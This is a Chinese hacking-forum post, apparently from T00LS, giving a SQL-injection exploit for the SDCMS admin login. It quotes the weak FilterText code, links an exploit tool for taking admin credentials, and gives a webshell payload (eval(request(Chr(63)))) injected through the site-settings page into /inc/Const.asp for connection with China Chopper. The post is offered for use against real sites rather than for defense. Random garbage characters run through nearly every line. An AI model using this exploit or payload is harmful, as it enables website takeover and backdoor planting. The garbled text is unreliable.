作者:T00LS 鬼哥
" Z: Y* s7 u( g1 n9 K3 U漏洞文件:后台目录/index.asp
4 |! H" m+ \. i$ x7 i8 N; e8 |) r# H( P W& W
Sub Check7 n3 j% W7 l9 |2 m6 |, w
Dim username,password,code,getcode,Rs
1 y9 p/ w! Z: p0 J% b" _ IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub! i' s+ `. o3 H: S
username=FilterText(Trim(Request.Form("username")),1)
/ \4 _6 F) N& V" d/ S: y- e password=FilterText(Trim(Request.Form("password")),1)
0 A! V, k" v, z2 c5 [; @ code=Trim(Request.Form("yzm")). n* [# p7 L$ R+ n$ ~1 Q
getcode=Session("SDCMSCode"). p: T# T; L [+ M& u7 O
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died; r; f7 @3 A5 W# j) G8 ]; l# F0 S4 E6 f
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied
) r/ h- [* F/ v IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
# ]. @- ]% g$ d, W' _5 y% v; X IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied8 ~4 q/ k& i0 E! F! e
IF username="" or password="" Then2 V( d: o% G2 ]
Echo "用户名或密码不能为空" ied* t' @9 t; G- o* O7 h! l
Else
Q5 M! X. w3 C+ U7 A" Q8 ^8 B% f Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")0 g0 V* c2 n3 w) V9 J
IF Rs.Eof Then! I7 y: R' j6 i1 p; u* U1 }; R
AddLog username,GetIp,"登录失败",1
+ |1 p4 v d% O. u8 f Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会") r4 S1 S0 G. x; h7 Z. ]
Else
( P) J6 n+ X% ]! o/ k& H1 Z Add_Cookies "sdcms_id",Rs(0)" w. Q0 Q. r9 s4 ]4 p* X
Add_Cookies "sdcms_name",username
! `+ s/ z' y. l Add_Cookies "sdcms_pwd",Rs(2)
4 p: U# e8 q, i6 U* N Add_Cookies "sdcms_admin",Rs(3)
% W9 m5 e. j/ m+ n( x# y5 ~9 e Add_Cookies "sdcms_alllever",Rs(4)% ?6 v4 i' r$ W! y
Add_Cookies "sdcms_infolever",Rs(5)' r+ D$ C4 x* V5 D/ B
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")* u) n4 S8 e1 S! f
AddLog username,GetIp,"登录成功",13 ~1 P" l6 ^ Q( y x; j
'自动删除30天前的Log记录
& E" g& ?/ b! {9 B% f* b. F IF Sdcms_DataType Then' p( n+ x! I5 R# R
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
" x6 b! {7 T6 H; I* L Else
+ S0 C, ~5 p2 e7 q; Z Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
9 M O& k/ A3 M/ |7 l+ V End IF* y/ A1 E! G6 \, t
Go("sdcms_index.asp")
( @( ^2 C" E& `1 I End IF7 b$ W5 n; [" j% f! p% e5 U- @
Rs.Close
/ ]' O4 w( v/ L- s: m; Q- x Set Rs=Nothing6 v- K( ~) X/ @7 g% ^
End IF+ @+ x" R. u, X' @7 l
End Sub
* h- U; K0 S& z+ [7 {' M" I! d: e# E/ N" E% M7 [& y* @7 d- s, }
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
K& F+ E5 N7 D/ T) r; |0 s' U a% R$ Z/ N- Z& Q/ p
Function FilterText(ByVal t0,ByVal t1)
5 `& m9 S/ {% J0 {& r/ ?6 b# T IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function: b) `# w$ @& J
t0=Trim(t0)
# E! O+ }: K% }5 k Select Case t1
% c5 Q2 k" K, `# U& L" v3 K Case "1"& ~8 K+ }* z* k1 F s8 s | L8 q: r
t0=Replace(t0,Chr(32),"")
, S4 _5 L, [: z% X! G8 F' z t0=Replace(t0,Chr(13),"")
6 X% L7 ]% J1 I t0=Replace(t0,Chr(10)&Chr(10),"")
3 ^7 o v1 Z1 n/ B3 |. p N" U t0=Replace(t0,Chr(10),"")" b2 n: U R" F
Case "2"4 G9 D. O2 v! U3 z% f
t0=Replace(t0,Chr(8),"")'回格( o* G" i! N3 ~7 {. w, d
t0=Replace(t0,Chr(9),"")'tab(水平制表符)
- i. V' O2 L6 Z9 N$ \! h t0=Replace(t0,Chr(10),"")'换行; X9 f- x2 |2 A
t0=Replace(t0,Chr(11),"")'tab(垂直制表符)( W1 M# @! q5 @7 D( C7 V1 r5 Q! {
t0=Replace(t0,Chr(12),"")'换页( ?. i5 n6 E0 O) g2 Z
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合 K! Z) g+ G) u/ p1 f" b3 N5 K
t0=Replace(t0,Chr(22),"")
- q" U( Z: ^5 O( \6 f+ n* ^ t0=Replace(t0,Chr(32),"")'空格 SPACE
6 j" {1 E, R4 M1 p6 ? t0=Replace(t0,Chr(33),"")'!
$ d1 R$ y, ?5 y t0=Replace(t0,Chr(34),"")'"3 h# ]" f6 i& H9 \: T
t0=Replace(t0,Chr(35),"")'#; W: { q# X* i0 V/ n! s0 Y1 A
t0=Replace(t0,Chr(36),"")'$
7 O6 K/ ]; G& N& u8 n! y t0=Replace(t0,Chr(37),"")'%
* {5 {2 w; o: ~9 @ t0=Replace(t0,Chr(38),"")'&* {3 V, ?" n9 u+ m, n3 @& L/ T$ w
t0=Replace(t0,Chr(39),"")''
. p: l' k" [4 P* K: `4 \9 r8 `! F t0=Replace(t0,Chr(40),"")'(
K* C3 Q7 i6 r( R% G7 S. X$ N' r' g t0=Replace(t0,Chr(41),"")')
# }1 c% j1 K! G6 l$ b- M4 F t0=Replace(t0,Chr(42),"")'*
1 v Z3 [3 {% I: e& Y( [8 ^- j t0=Replace(t0,Chr(43),"")'+7 n# @+ e5 Y$ b. ~4 ^
t0=Replace(t0,Chr(44),"")',& Z( y! G# J3 p6 S. H. v
t0=Replace(t0,Chr(45),"")'-
) H2 v5 ^+ n2 f: } _# f t0=Replace(t0,Chr(46),"")'.! ^3 L! x: e5 \
t0=Replace(t0,Chr(47),"")'/
* z8 J4 }3 O+ C( v2 z: M t0=Replace(t0,Chr(58),"")':
8 o% O3 w0 x2 K/ Z1 B: a8 c t0=Replace(t0,Chr(59),"")';
3 K# W% Z# k2 C t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
+ \% y( U/ V6 t! Q t0=Replace(t0,Chr(63),"")'?4 ~, s8 L' W7 c; q* V- }
t0=Replace(t0,Chr(64),"")'@8 ^6 M, z( D6 B6 N$ U
t0=Replace(t0,Chr(91),"")'\
- k; B D, F/ i- T' w t0=Replace(t0,Chr(92),"")'\
! l& @$ M/ X& X) r$ `% ~ t0=Replace(t0,Chr(93),"")'], w2 d7 B8 |% J! D5 [7 q, ?4 ?
t0=Replace(t0,Chr(94),"")'^
0 _5 S- _) q4 h9 ]: r$ | t0=Replace(t0,Chr(95),"")'_7 f) L4 C- D' l) `) T
t0=Replace(t0,Chr(96),"")'`, R0 v3 c' }+ L; t
t0=Replace(t0,Chr(123),"")'{
. @1 a6 p( E7 q6 W' }0 m, E, s t0=Replace(t0,Chr(124),"")'|
& M2 ^; U8 {! l: H t0=Replace(t0,Chr(125),"")'}
2 k5 z. P2 N6 x) T" u5 v t0=Replace(t0,Chr(126),"")'~! v: i) T, h" a! Y* H3 Q7 W6 s
Case Else, U+ i- O) |& c
t0=Replace(t0, "&", "&"); l+ S$ x8 }$ A7 G: W- c L
t0=Replace(t0, "'", "'")7 H! v7 u5 t) o3 X+ @
t0=Replace(t0, """", """)0 o% @2 |+ ~% r" W8 Y0 ?: y2 |1 H
t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")* V8 D( v9 c9 U0 {7 N! }+ x1 ^( s
End Select# v, p* `* i j: J' T* x Q8 o5 H
IF Instr(Lcase(t0),"expression")>0 Then
% ^( w2 W2 m. w/ h6 e t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
& f0 S% A" d8 r% m& d- I& c End If
( h3 B& b9 n+ {5 @6 w FilterText=t0 w7 d, {; d1 h. }9 I D9 s- i( ]
End Function
& r3 t' {7 D4 W$ W- ]% ?1 Y2 o e
# d$ @* F9 S. a; i1 [6 K& z# e看到没。直接参数是1 只过滤
|2 @5 z0 G& A t& c t0=Replace(t0,Chr(32)," ")+ @8 \3 t$ F! i5 l# C" C% d
t0=Replace(t0,Chr(13),"")) s. m: w8 f* ?1 A) o, `# \! K9 [
t0=Replace(t0,Chr(10)&Chr(10),"
1 x$ Q. Y3 Z2 P")
" s2 C, a3 Y! B0 Y7 @ t0=Replace(t0,Chr(10),"
0 C: E" d% C. O3 F")9 q5 v. S/ C+ @8 i( H. A! L
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!0 B) P$ Z* t6 M; a; O: H
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP8 w8 U( w' A# G% N7 J
/ W! u4 L' D5 ~6 `+ a" q测试:
" U |( S6 d8 e, i
) w# M. d" E, {) K, Y. X$ q7 \, C2 W3 |8 c. \3 z
现在输入工具上验证码,然后点OK
1 u* L+ _" \7 \' Z3 }* q- }6 t3 [) E' n! A; W
+ z; p3 ]( [3 Q- n# S: y; b! F
看到我们直接进入后台管理界面了,呵呵!
7 y4 |% o+ y$ T8 G
! e/ ^1 b6 n' u2 k2 e- y
/ [" c! Z6 D2 n- J0 G, Z3 b* z3 r, H) g: h2 R, X$ y
这样直接进入后台了。。。。! Y1 s# N t& k) @
' X0 H6 N4 Y( c" s T4 ~4 y
5 c+ r F' r3 X4 G' L( T* `3 g+ G
1 M- p: x$ L( N# a$ ySDCMS提权:
! T: J1 k& H) B1 F$ ]! {7 n, e
' `" |& m+ n8 G8 n7 R+ Y% r方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
1 N- x( _. o$ y! a* [! [+ J# x" b- k
/ Z! Y3 o" E/ y
* y( d1 W# e( L! d& V; xOK,现在用菜刀连接下!, b1 o3 \/ H \2 [/ H+ I0 P; V
# g4 R: [% D% l& G/ g3 }) m3 ?. I) _$ N3 S a; E( b
( C. t# U$ t! Z3 ~5 Q
9 [+ ]! T/ S6 y: Y
" r( a5 a+ D. `! n1 ~- { |